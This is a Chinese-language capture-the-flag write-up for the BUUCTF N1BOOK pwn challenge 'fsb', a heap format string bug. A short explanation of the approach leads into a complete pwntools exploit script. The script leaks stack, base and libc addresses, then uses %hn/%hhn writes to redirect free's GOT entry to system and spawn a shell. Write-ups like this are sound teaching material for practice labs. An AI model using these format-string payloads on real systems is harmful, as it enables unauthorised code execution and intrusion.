BUUCTF_N1BOOK PWN fsb
保护策略
漏洞所在
考察的堆上的格式化字符串漏洞,利用方法和bss段上的格式化字符串漏洞一样,布置栈链。
关于栈链的布置,我在这篇文章里介绍过了。
大致思路
由于保护全开,所以需要先用格式化字符串泄露一下libc地址 程序基地址 栈地址,这个题还是比较简单,格式化字符串漏洞循环了30次,所以不必担心次数问题。
然后接下来就是布置栈链,去改写free函数的got表为system的地址,最后输入一个参数/bin/sh获取shell即可。我们避免一次发送过多的数据,因此来修改栈地址使其精准写入got表中具体某字节的数据。
EXP
from tools import *
p,e,libc=load('a')
p=remote('node4.buuoj.cn',29216)
#debug(p,'pie',0x9FE)
context.log_level='debug'
p.sendline('%10$p%17$p%21$p')
p.recvuntil('0x')
leak_stack_addr=int(p.recv(12),16)
p.recvuntil('0x')
leak_base_addr=int(p.recv(12),16)
p.recvuntil('0x')
leak_libc_addr=int(p.recv(12),16)
log_addr('leak_stack_addr')
log_addr('leak_base_addr')
log_addr('leak_libc_addr')
sys_addr,bin_sh_addr=local_search('__libc_start_main',leak_libc_addr-231,libc)
base_addr=leak_base_addr-0xa45
log_addr('base_addr')
free_got_addr=e.got['free']+base_addr
log_addr('free_got_addr')
target_stack_addr=leak_stack_addr+0x22
target_hook=target_stack_addr&0xff
low_addr=free_got_addr&0xffff
high_addr=(free_got_addr>>16)&0xffff
'''write free_got address'''
p.recvuntil('please input your name:\n')
p.sendline('%'+str(low_addr)+'c%16$hn')
p.recvuntil('please input your name:\n')
p.sendline('%'+str(target_hook)+'c%10$hhn')
p.recvuntil('please input your name:\n')
p.sendline('%'+str(high_addr)+'c%16$hn')
'''write system address to got table of free'''
low=sys_addr&0xffff
medium=(sys_addr>>16)&0xffff
high=(sys_addr>>32)&0xffff
p.recvuntil('please input your name:\n')
p.sendline('%'+str(low)+'c%20$hn')
p.recvuntil('please input your name:\n')
p.sendline('%'+str(target_hook-0x2)+'c%10$hhn')
p.recvuntil('please input your name:\n')
p.sendline('%'+str(low_addr+2)+'c%16$hn')
p.recvuntil('please input your name:\n')
p.sendline('%'+str(medium)+'c%20$hn')
p.recvuntil('please input your name:\n')
p.sendline('%'+str(low_addr+4)+'c%16$hn')
p.recvuntil('please input your name:\n')
p.sendline('%'+str(high)+'c%20$hn')
for i in range(20):
sleep(0.5)
p.sendline('/bin/sh\x00')
p.interactive()